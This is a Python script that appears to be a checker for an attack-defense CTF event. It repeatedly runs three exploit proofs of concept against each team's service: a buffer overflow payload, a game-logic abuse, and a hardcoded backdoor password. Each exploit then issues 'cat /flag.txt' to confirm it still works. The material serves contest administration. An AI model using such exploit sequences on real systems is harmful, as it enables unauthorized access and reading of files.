#! /usr/bin/env python3
# from pwn import context, remote
from pwn import remote, context
from multiprocessing import Pool
from time import sleep
import logging
import os

context.log_level = logging.ERROR

INTERVAL = 60
HOST = "192.168.2.20"
TOTAL_TEAMS = 10
FORMAT = "SlashRootCTF"


def poc0(host, port):
    with remote(host, port) as p:
        p.recvuntil(">")
        p.sendline(("A" * 32) + ("\x11\x11\x11\x11\x11\x11\x11\x11\x01"))
        msg = p.recvuntil(">").decode('utf-8')
        # print(msg)
        if "young" in msg:
            p.sendline("y")
            p.recvuntil(">")
            p.sendline("2")
            p.recvuntil(">")
            p.sendline("4")
            p.recvuntil(">")
            p.sendline("y")
            for _ in range(10):
                p.recvuntil(">")
                p.sendline("99")
            p.sendline("cat /flag.txt")
            flag = p.recvuntil("}").decode('utf-8')
            # print flag
            if FORMAT in flag:
                return True
            else:
                return False
        else:
            return False


def poc1(host, port):
    with remote(host, port) as p:
        p.recvuntil(">")
        p.sendline("Leo")
        p.recvuntil(">")
        p.sendline("y")
        for _ in range(2):
            p.recvuntil(">")
            p.sendline("3")
            p.recvuntil(">")
            p.sendline("0")
            if "Who" in p.recvuntil(">").decode('utf-8'):
                return False
            p.sendline("y")
            p.recvuntil(">")
            p.sendline("1")
        p.recvuntil(">")
        p.sendline("4")
        p.recvuntil(">")
        p.sendline("y")
        for _ in range(10):
            p.recvuntil(">")
            p.sendline("99")
        p.sendline("cat /flag.txt")
        flag = p.recvuntil("}").decode('utf-8')
        if FORMAT in flag:
            return True
        else:
            return False


def poc2(host, port):
    with remote(host, port) as p:
        p.recvuntil(">")
        p.sendline("__th3_w0rLd_D3str0Y3r_15_b4ck__")
        p.recvuntil(">")
        p.sendline("y")
        p.recvuntil(">")
        p.sendline("6")
        if "Lv: 1000000" in p.recvuntil(">").decode('utf-8'):
            p.sendline("2")
            p.recvuntil(">")
            p.sendline("4")
            p.recvuntil(">")
            p.sendline("y")
            for _ in range(10):
                p.recvuntil(">")
                p.sendline("99")
            p.sendline("cat /flag.txt")
            flag = p.recvuntil("}").decode('utf-8')
            if FORMAT in flag:
                return True
            else:
                return False
        else:
            return False


def poc(host, port):
    with remote(host, port) as p:
        msg = p.recvuntil(">").decode('utf-8')
        if "Who" in msg:
            p.sendline("Leo")
            msg = p.recvuntil(">").decode('utf-8')
            if "Leo" in msg:
                p.sendline("Y")
                msg = p.recvuntil(">").decode('utf-8')
                if "What" in msg:
                    return True
        return False


def check(team):
    port = (60004 + (team*100))
    r = poc(HOST, port)
    r0 = poc0(HOST, port)
    r1 = poc1(HOST, port)
    r2 = poc2(HOST, port)
    return "Team [{:02d}] {} {} {} {}".format(team, r, r0, r1, r2)


def init_logging(logFileName: str, debug: bool = False):
    logFormatter = logging.Formatter(
        fmt="[%(asctime)s][%(levelname)s] %(message)s",
        datefmt='%d-%b-%y %H:%M:%S')

    rootLogger = logging.getLogger("checker")

    fileHandler = logging.FileHandler(logFileName)
    fileHandler.setFormatter(logFormatter)
    rootLogger.addHandler(fileHandler)

    consoleHandler = logging.StreamHandler()
    consoleHandler.setFormatter(logFormatter)
    rootLogger.addHandler(consoleHandler)

    rootLogger.setLevel(logging.DEBUG if debug else logging.INFO)

    return rootLogger


if __name__ == "__main__":
    checker_logger = init_logging("checker.log")
    while True:
        with Pool(TOTAL_TEAMS) as p:
            results = p.map(check, range(1, TOTAL_TEAMS+1))
        for result in results:
            checker_logger.info(result)
        sleep(INTERVAL)